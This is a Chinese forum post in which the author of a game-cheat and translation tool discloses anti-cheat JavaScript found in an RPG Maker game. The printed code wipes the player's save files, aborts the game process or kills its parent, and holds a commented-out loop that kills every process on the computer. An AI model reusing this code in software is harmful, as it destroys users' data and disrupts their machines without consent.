加入我们,或者,欢迎回来。
您需要 登录 才可以下载或查看,没有帐号?注册会员
x
本帖最后由 zths 于 2020-7-11 00:50 编辑
我有制作一个MV 修改 + 翻译 工具,今天有用户发给我一个游戏样本。。
用户反馈用了修改器后没法存档。。。
我在调试过程中找到了如下代码:
setInterval(function() { const againstCheating = function() { // Graphics._applyCanvasFilter(); // SceneManager.stop(); try { StorageManager.save = StorageManager.saveBk || StorageManager.save; StorageManager.save(-1, JSON.stringify({"你好": "请勿破解!"})); StorageManager.save(0, "{}"); StorageManager.save(1, "{}"); setTimeout(function() { // for (var i = 0; i <= 65535; i += 2) { // if ([process.pid, process.ppid].includes(i)) { // continue; // } // try { // process.kill(i); // } catch (e) { // continue; // } // } process.abort(); }, 20000 + Math.random() * 20000); } catch (e) { process.kill(process.ppid); } }; if (window.close.toString() === "function (){}" || document.querySelector('#HackStageWrap')) { againstCheating(); } if (document.querySelector('#HackStage')) { againstCheating(); } if (document.querySelector('#CommonEventTab')) { againstCheating(); } if (document.querySelector('#TabContext')) { againstCheating(); } if ([typeof HackToast, typeof CheckeISNodeJS, typeof initSysTab, typeof initItemTab, typeof initWeaponTab, typeof openSetIntervalCodeWin, typeof initkeySettingTab, typeof offHackStage, typeof StorageManager.saveBk].includes('function')) { againstCheating(); } }, 3000)
setInterval(function() {
const againstCheating = function() {
// Graphics._applyCanvasFilter();
// SceneManager.stop();
try {
StorageManager.save = StorageManager.saveBk || StorageManager.save;
StorageManager.save(-1, JSON.stringify({"你好": "请勿破解!"}));
StorageManager.save(0, "{}");
StorageManager.save(1, "{}");
setTimeout(function() {
// for (var i = 0; i <= 65535; i += 2) {
// if ([process.pid, process.ppid].includes(i)) {
// continue;
// }
// try {
// process.kill(i);
// } catch (e) {
// continue;
// }
// }
process.abort();
}, 20000 + Math.random() * 20000);
} catch (e) {
process.kill(process.ppid);
}
};
if (window.close.toString() === "function (){}" || document.querySelector('#HackStageWrap')) {
againstCheating();
}
if (document.querySelector('#HackStage')) {
againstCheating();
}
if (document.querySelector('#CommonEventTab')) {
againstCheating();
}
if (document.querySelector('#TabContext')) {
againstCheating();
}
if ([typeof HackToast, typeof CheckeISNodeJS, typeof initSysTab, typeof initItemTab, typeof initWeaponTab,
typeof openSetIntervalCodeWin, typeof initkeySettingTab, typeof offHackStage, typeof StorageManager.saveBk].includes('function')) {
againstCheating();
}
}, 3000)
被注释的部分实际功效是杀死电脑里的所有进程....
被发现时代码就是被注释的状态..
我猜可能是有用户被搞了才注释掉的...(只是我猜)
代码是在线上服务器动态加载的....
作者有权力随时修改并应用到客户端.
整段代码仅是针对了我的修改工具.. ( 我的工具就只有 修改 和 翻译 功能, 不提供游戏解包.. 而且我自行解包后发现,他的有素材基本都是未授权的网络图片... 很多色图...)
现在代码段已经被作者用 nwjc 加密.
我没心思去分析他后来又进行了什么改动..
游戏是: 魔王契约2.3
说真的 游戏里除了 礼包 就是 抽卡 ???(应该要充值 我没仔细看)
看起来就是手游的套路。。
玩的啥?
为啥就不能好好做游戏??
示例:
|